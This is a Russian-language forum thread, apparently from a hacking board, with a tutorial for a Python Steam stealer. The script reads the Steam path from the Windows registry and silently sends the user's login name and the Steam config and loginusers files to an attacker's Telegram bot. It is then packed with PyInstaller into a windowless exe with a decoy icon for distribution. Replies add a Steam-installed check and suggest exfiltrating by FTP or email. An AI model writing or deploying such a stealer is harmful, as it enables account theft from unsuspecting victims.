По мотивам этой темы https://zelenka.guru/threads/748205/, но более приближено к реальному применению, кстати, не так бессмысленно как может показаться, так как скрипт на Python собрать в exe, кроме pyinstaller и cx_freze, есть даже такая штука как nuitka, генерирует код на C на основе скрипта и создает exe, нужна установленная Visual Studuo. Сначала получаем токен и id чата из telegram, как описано в этой теме https://zelenka.guru/threads/748205/ Затем, идем сюда https://www.python.org/downloads/ и скачиваем python версии 3.6.х При установке ставим галку Создаем новую папку, например D:/bot и в ней файл bot.py, скрипт будем запускать в виртуальном окружении, так удобнее для дальнейшей сборки Открываем bot.py в каком-нибудь продвинутом блокноте и начинаем писать код import telebot import os import winreg Код import telebot import os import winreg Импортируем библиотеки, для работы с ботом, с путями к файлам и реестром bot = telebot.TeleBot("6354ХХХХХ:AAEBZeuDD3LCCpe2s2YLP0HEgХХХХХХХХХ") chat_id = 2989ХХХХХ Код bot = telebot.TeleBot("6354ХХХХХ:AAEBZeuDD3LCCpe2s2YLP0HEgХХХХХХХХХ") chat_id = 2989ХХХХХ Создаем объект для работы с telegram и записываем id чата в переменную files = ["config.vdf", "loginusers.vdf", "DialogConfig.vdf", "fiterlist.vdf"] Код files = ["config.vdf", "loginusers.vdf", "DialogConfig.vdf", "fiterlist.vdf"] Список файлов которые нужно отослать в телеграм try: regpath='Software\\Valve\\Steam' root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, regpath, 0) steam, _ = winreg.QueryValueEx(root, "SteamPath") steam = os.path.join(steam, 'config') except: exit() Код try: regpath='Software\\Valve\\Steam' root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, regpath, 0) steam, _ = winreg.QueryValueEx(root, "SteamPath") steam = os.path.join(steam, 'config') except: exit() Пытаемся найти в реестре путь к Steam, если нашли, то дописываем путь к папке config, так как нужные файлы лежат там, если не нашли, тихо выходим username = os.getlogin() bot.send_message(chat_id, username) Код username = os.getlogin() bot.send_message(chat_id, username) Отправляем в бот имя ПК for file in files: try: doc = open(os.path.join(steam, file), 'rb') bot.send_document(chat_id, doc) except: pass Код for file in files: try: doc = open(os.path.join(steam, file), 'rb') bot.send_document(chat_id, doc) except: pass Пробуем отправить файлы Steam по одному, если файла нет, ничего не делаем Код написан, сохраняем файл и закрываем блокнот, сейчас будем устанавливать виртуальное окружение Открываем папку в проводнике зажимаем клавишу SHIFT и кликаем правой кнопкой мыши на свободное место, откроется контекстное меню с дополнительными опциями, нужна строка Открыть окно команд Откроется командная строка в папке, в командной сроке пишем python -m venv venv venv\scripts\activate Тут мы создаем виртуальное окружение и активируем его, теперь командную строку можно закрыть, отрыть, снова написать venv\scripts\activate и снова запустим виртуальное окружение Текст выделенный красным показывает, что мы в виртуальном окружении Устанавливаем библиотеку для telegram, пишем в командной строке pip install pyTelegramBotAPI Все готово, теперь можете написать с командной строке python bot.py и ваши файлы стим загрузятся в канал бота в telegram, если все сделано правильно Переходим к созданию exe, пишем в командной строке pip install pyinstaller Сначала находим в гугле красивую иконку для нашего exe, она должна быть в формате ico, кладем в нашу папку рядом со скриптом, затем пишем в командной строке pyinstaller --onefile --noconsole --icon=icon.ico bot.py Появятся папки __pycache__, build, dist, в папке dist и лежит наш exe
animatrix, отличное дополнение) также можно добавить следующее: Проверка установлен ли Steam: if os.path.isdir ('C:\\Users\\Public\\Documents\\Steam'): # После добавления переменных # Твой код Код if os.path.isdir ('C:\\Users\\Public\\Documents\\Steam'): # После добавления переменных # Твой код Если не установлен отправляем сообщение с текстом 'На ПК не установлен Steam' else: bot.send_message(chat_id, 'На ПК не установлен Steam') Код else: bot.send_message(chat_id, 'На ПК не установлен Steam')
без *** не интерестно, метод отправки б изменить на FTP или что бы сразу на почту кидал, а в целом неплохо